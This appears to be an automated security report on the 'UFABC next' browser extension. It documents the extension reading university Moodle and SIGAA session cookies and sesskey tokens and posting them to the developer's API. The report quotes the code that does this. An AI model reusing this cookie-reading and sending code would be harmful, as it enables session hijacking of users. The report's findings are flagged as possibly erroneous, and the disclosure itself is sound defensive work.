Is UFABC next - extensão safe?
UFABC next sends university session cookies and page tokens to api.v2.ufabcnext.com.
When you use UFABC SIGAA, Moodle, or Matricula pages, the extension reads session cookies and page tokens such as JSESSIONID, MoodleSession, sesskey, ViewState, and the Matricula session cookie. It sends those values, along with student identifiers such as login or RA where available, to api.v2.ufabcnext.com to sync student data and course archives.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
UFABC Next reads your Moodle session cookie and sends it to a third party
When you open UFABC's Moodle courses page, the extension reads your HttpOnly MoodleSession cookie and a security token from the page, then sends both to api.v2.ufabcnext.com.
We confirmed the exact session value left the device.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You open the UFABC Moodle courses page while logged in.
The extension reads your Moodle session cookie and sends it to the developer's own server.
This runs automatically on page load, with no button click or consent prompt.
- Moodle session cookie<redacted> (byte-identical to the Moodle Set-Cookie value)
The token your browser uses to prove you're logged into Moodle. Anyone holding it can act as you, no password needed.
- Page security token (sesskey)<redacted> (scraped from the page HTML)
Moodle checks this token to confirm a request really came from your browser. Sending it lets the receiving server act on Moodle as you.
400 Bad Request, "Email Verification Failed", confirming the request reached the live backend.
- sess-key
- <redacted> (sesskey scraped from the page)
- session-id
- <redacted> (exact MoodleSession cookie value)
Reading the cookie and sending it to the server
Background: reads the MoodleSession cookie
background.jsonMessage("getTokenMoodle", async ({ data }) => { const pageOrigin = new URL(data.pageURL); return await chrome.cookies.get({ url: pageOrigin.origin, name: "MoodleSession" });});Content script: sends the session to the server
content-scripts/moodle.jsasync function sendResults({ sessionToken, sessKey }) { if (!sessionToken || !sessKey) { console.warn("[sendResults] Invalid session token or sessKey, aborting send."); return; } const headers = new Headers(); headers.set("session-id", sessionToken); headers.set("sess-key", sessKey); try { return await apiClient.post("/v2/components/archives", { method: "POST", headers }); } catch (err) { console.error("[sendResults] Error sending data:", err); }}- api.v2.ufabcnext.com
Receives the Moodle session cookie and sesskey token from the extension; operated by the UFABC Next developer, not the university.
What it can do
Permissions this extension asks for, as declared in version 2.2.2. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on sig.ufabc.edu.br
https://sig.ufabc.edu.br/*
Read and change your data on matricula.ufabc.edu.br
https://matricula.ufabc.edu.br/*
Read and change your data on moodle.ufabc.edu.br
https://moodle.ufabc.edu.br/*
Store data in your browser
storage
Read and change cookies, including the ones that keep you signed in
cookies
Where it sends data
Destinations our analysis observed UFABC next - extensão contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- api.v2.ufabcnext.com
UFABC next - extensão sends data to api.v2.ufabcnext.com. No other extension we have analysed sends data here.